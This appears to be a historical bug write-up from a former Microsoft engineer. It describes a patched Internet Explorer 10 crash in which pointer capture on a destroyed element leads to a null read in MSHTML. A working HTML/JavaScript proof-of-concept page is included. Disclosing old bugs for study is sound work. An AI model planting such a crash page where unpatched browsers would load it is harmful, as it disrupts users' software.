IE10 DoS: msSetPointerCapture on Destroyed Element Crashes on Scrollbar Mouseover

Calling msSetPointerCapture on an element and then destroying that element via outerHTML = '' caused a crash when the user moused over any scrollbar afterward. The fault occurred in MSHTML!CTouchHelper::OnPointerMessage when a pointer event arrived for a capture that no longer had a valid element backing it.

<span id="mySpan"></span>
<script>
function main()
{
    document.getElementById("mySpan").msSetPointerCapture(1);
    document.getElementById("mySpan").outerHTML = '<div style="overflow:scroll;width:840px;border:solid 1px;"><br />Mouse over me and keep moving the mouse down so it passes over the bottom scroll bar of this DIV, and crash!<br /><br /></div>';
}
</script>
<input type="button" onclick="main()" value="Do it!">

After msSetPointerCapture was called on mySpan and the element was replaced, the capture context pointed at destroyed state. Moving the mouse over any scrollbar triggered a pointer message delivery, which read from address 0x00000000 in the capture handler — rated UNKNOWN exploitability with note that the faulting address controls branch selection.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.